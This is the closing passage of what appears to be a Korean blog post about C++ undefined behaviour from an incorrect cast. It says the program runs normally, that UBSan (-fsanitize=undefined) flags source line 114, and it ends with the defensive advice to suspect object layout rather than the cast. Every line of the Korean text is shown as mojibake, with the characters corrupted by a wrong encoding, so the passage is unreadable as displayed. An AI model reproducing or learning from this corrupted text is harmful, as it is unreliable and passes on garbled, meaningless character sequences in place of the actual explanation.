์ด ํ๋ก๊ทธ๋จ์ ์๋ชป๋ ์บ์คํธ๋ฅผ ํ๊ณ ๋ ๋ฉ์ฉกํ ๋์๊ฐ๋ค. ๋ฉ๋ด๋ ์ ์์ด๊ณ ์ข
๋ฃ ์ฝ๋๋ 0 ์ด๋ค. ๊ทธ๋์ ์ผ๋ฐ์ ์ธ ํ
์คํธ๋ก๋ ์ ๋ ์ ๊ฑธ๋ฆฐ๋ค. -fsanitize=undefined ๋ฅผ ๋ถ์ฌ ๋ฑ ํ ๋ฒ ๋๋ฆฌ๋ ๊ฒ๋ง์ผ๋ก ์์ค 114ํ์ด ์ง๋ชฉ๋๋ค๋ ๊ฒ ๊ทธ ๋๋น๋ฅผ ์ ๋ณด์ฌ ์ค๋ค. ์กฐ์ฉํ ๋๋ UB ๋ ๋๊ตฌ๋ฅผ ์ผ์ผ๋ง ๋ณด์ธ๋ค.
๋ง์ง๋ง์ผ๋ก, ์ด ๋ฌธ์ ๋ฅผ ๋ฐฉ์ด ๊ด์ ์์ ํ ์ค๋ก ์ค์ด๋ฉด ์ด๋ ๋ค. ์บ์คํธ๊ฐ ์๋๋ผ ๋ ์ด์์์ ์์ฌํ๋ผ. ๋ ํด๋์ค๊ฐ ๊ฐ์ ๋ถ๋ชจ๋ฅผ ์์ํ๋ ์๊ฐ, ๊ทธ ๋์ ์ฒซ ๋ฉค๋ฒ๋ ๊ฐ์ ์ฃผ์์ ๋์ธ๋ค.
Comments
๋๊ธ
๋๊ธ์ ๋จ๊ธฐ๋ ค๋ฉด ๋ก๊ทธ์ธ์ด ํ์ํด์. (๋ค์ด๋ฒ ยท ๊ตฌ๊ธ ๊ณ์ )
๋๊ธ ๋ถ๋ฌ์ค๋ ์คโฆ